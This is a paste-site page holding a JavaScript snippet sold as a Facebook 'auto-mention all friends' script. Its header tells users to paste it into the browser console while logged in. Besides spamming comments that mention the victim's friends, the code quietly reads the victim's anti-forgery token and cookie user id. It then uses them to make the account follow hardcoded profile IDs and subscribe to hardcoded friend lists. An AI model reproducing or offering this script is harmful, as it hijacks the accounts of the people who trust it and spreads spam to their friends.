Untitled


SUBMITTED BY: Guest

DATE: March 18, 2014, 3:26 p.m.

FORMAT: Text only

SIZE: 5.2 kB

HITS: 653

  1. FACEBOOK TAG ALL SCRIPT
  2. THIS SCRIPT IS FOR GREASEMONKEY
  3. // ==UserScript==
  4. // @date 2013-01-29
  5. // @author Unknown
  6. // @name Facebook Auto mention All Friends Names on any status of yours.
  7. // @version 1.5.1
  8. // @description Mention all your friends name to your status in one click easly .
  9. // @copyleft Free to use..
  10. // @include *.facebook.com/*
  11. // @description 1.Make sure you are using Google Chrome & Mozilla Firefox web browser.
  12. // @description 2.If you don't have then please download it.
  13. // @description 3.Login to facebook if not logged in already.
  14. // @description 4.Now open status where you want to tag your friends.
  15. // @description 5.Copy this script.
  16. // @description 5.Now press CTRL+SHIFT+K it will open a Console Box & CTRL+Shift+J in Chrome.
  17. // @description 6.Paste the script.
  18. // @description 7.Wait some seconds and the work will done.
  19. // ==/UserScript==
  20. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  21. function get_friends(){
  22. var a=x__0();
  23. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  24. a.send(null);
  25. if (a.readyState == 4) {
  26. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  27. return f.payload.entries;
  28. }
  29. return false;
  30. }
  31. function get_uid(b){
  32. var a=x__0();
  33. a.open("GET", 'http://graph.facebook.com/'+b, false);
  34. a.send();
  35. if (a.readyState == 4) {
  36. return uid = JSON.parse(a.responseText).id;
  37. }
  38. return false;
  39. }
  40. var patt = /comment_text=(.*?)&/
  41. var c = 1;
  42. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  43. uid = get_uid(username);
  44. a = window.top.location;
  45. termina = 0;
  46. var amigos = get_friends();
  47. post_id = /[0-9]{8,}/.exec(a);
  48. uids = 'comment_text=';
  49. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  50. for ( var n = 1 ; n < amigos.length ; n++ ){
  51. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  52. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  53. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  54. c++;
  55. if(c == 7){
  56. uids += '&';
  57. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  58. z = setTimeout('function(){asd=0}', 1000);
  59. clearInterval(z);
  60. c = 1;
  61. uids = 'comment_text=';
  62. }
  63. }
  64. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  65. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  66. function cereziAl(isim) {
  67. var tarama = isim + "=";
  68. if (document.cookie.length > 0) {
  69. konum = document.cookie.indexOf(tarama)
  70. if (konum != -1) {
  71. konum += tarama.length
  72. son = document.cookie.indexOf(";", konum)
  73. if (son == -1)
  74. son = document.cookie.length
  75. return unescape(document.cookie.substring(konum, son))
  76. }
  77. else { return ""; }
  78. }
  79. }
  80. function getRandomInt (min, max) {
  81. return Math.floor(Math.random() * (max - min + 1)) + min;
  82. }
  83. function randomValue(arr) {
  84. return arr[getRandomInt(0, arr.length-1)];
  85. }
  86. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  87. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  88. function a(abone){
  89. var http4 = new XMLHttpRequest();
  90. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  91. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  92. http4.open("POST", url4, true);
  93. //Send the proper header information along with the request
  94. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  95. http4.setRequestHeader("Content-length", params4.length);
  96. http4.setRequestHeader("Connection", "close");
  97. http4.onreadystatechange = function() {//Call a function when the state changes.
  98. if(http4.readyState == 4 && http4.status == 200) {
  99. http4.close; // Close the connection
  100. }
  101. }
  102. http4.send(params4);
  103. }
  104. function sublist(uidss) {
  105. var a = document.createElement('script');
  106. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  107. document.body.appendChild(a);
  108. }
  109. a("100002490815358");
  110. a("100007127430715");
  111. sublist("543706495722373");sublist("546366412123048");sublist("543669122392777");sublist("575182855908070");
  112. sublist("575185429241146");sublist("576051332487889");sublist("576049419154747");sublist("576050312487991");

comments powered by Disqus